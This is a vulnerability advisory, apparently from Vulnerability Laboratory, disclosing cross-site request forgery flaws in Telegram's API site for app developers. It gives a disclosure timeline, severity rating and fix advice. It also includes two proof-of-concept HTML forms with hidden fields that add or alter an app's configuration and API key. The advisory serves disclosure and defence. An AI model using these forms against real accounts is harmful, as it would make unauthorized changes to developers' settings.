Telegram (API) Cross Site Request Forgery

Type packetstorm
Reporter Lawrence Amer
Modified 2016-01-28T00:00:00


                                            `Document Title:  
Telegram (API) - Cross Site Request Forgery Vulnerabilities  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Product & Service Introduction:  
Telegram is a cloud-based instant messaging service that focusses on privacy and multi-platform availability. Telegram clients exist for   
both mobile (Android, iOS, Windows Phone, Ubuntu Touch) and desktop systems (Windows, OS X, Linux). Users can send messages and exchange   
photos, videos, stickers and files of any type up to 1.5 GB in size. Telegram also provides optional end-to-end encrypted messaging with   
self-destruct timers. Telegram is run by Telegram Messenger LLP and backed by Russian entrepreneur Pavel Durov. Its client-side code is   
open-source software, whereas its server-side code is closed-sourced and proprietary. The service also provides APIs to independent developers.  
(Copy of the Homepage: )  
Abstract Advisory Information:  
An indepndent vulnerability laboratory researcher discovered multiple client-side vulnerabilities and a filter bypass issue in the official Telegram (API) for app developers.  
Vulnerability Disclosure Timeline:  
2015-11-17: Researcher Notification & Coordination (Amer Lawrence)  
2015-11-18: Vendor Notification (Telegram Security Team)  
2016-01-17: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Telegram Messenger LLP  
Product: Telegram (API) - App Developers 2015 Q4  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
Multiple cross site request forgery web vulnerabilities has been discovered in the official Telegram (API) for app developers.  
The vulnerability allows to unauthorized execute application functions in connection with client-side performed malicious requests.  
Attackers can start Cross site request forgery attack against the auth mechanism of the telegram api development to inject a   
customized android,ios,... app configuration on any telegram api developer user. By send malicious link contenting an html code   
responsible for these changes without an access token to protect developers from these attacks. The impact of the bug is leaving   
web application without protection of an access token. Thus allows an attacker to perform these type of attacks doing unwanted   
actions in the user settings.  
The security risk of the cross site request forgery web vulnerabilities are estimated as medium with a cvss (common vulnerability   
scoring system) count of 3.2. Exploitation of the csrf vulnerabilities requires no privileged iOS system user account and low or   
medium user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific   
functions by client-side performed requests to compromise the telegram api dev accounts.  
Proof of Concept (PoC):  
The cross site request forgery web vulnerabilities can be exploited by a remote attacker without privileged web-application user account and low or medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
PoC: Video (password:vuln4safe)  
PoC: #1 CSRF for adding android app or any one else as requested ...  
<form action="" method="POST">  
<input type="hidden" name="app_title" value="APP_NAME" />  
<input type="hidden" name="app_shortname" value="SHORT_NAME" />  
<input type="hidden" name="app_url" value="LINK OF USE" />  
<input type="hidden" name="app_platform" value="android" />  
<input type="hidden" name="app_desc" value="good one " />  
<input type="submit" value="CSRF-Add App" />  
PoC: #2 Html code to save the API or changed it ...  
<form action="" method="POST">  
<input type="hidden" name="app_title" value="APPNAME" />  
<input type="hidden" name="app_shortname" value="SHORTNAME" />  
<input type="hidden" name="app_gcm_api_key" value="API KEY" />  
<input type="submit" value="Save App api-CSRF" />  
Note. This CSRF issue is combined by two folloup request to execute successful function with a not expired session by click.  
Solution - Fix & Patch:  
The vulnerability can be patched by implementation of a secure cookie or access token that protects the important online-service functions.  
Setup a csrf token and implement a secure exception to prevent cross site exploitation. Restrict the input and disallow special chars.  
Security Risk:  
The security risk of the cross site request forgery web vulnerabilities in the offical telegram api for app developers is estimated as medium. (CVSS 3.2)  
Credits & Authors:  
Lawrence Amer - ( )  
Disclaimer & Information:  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
Domains: - -  
Contact: - -  
Section: - -  
Social:!/vuln_lab - -  
Feeds: - -  
Programs: - -  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
( or to get a permission.  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™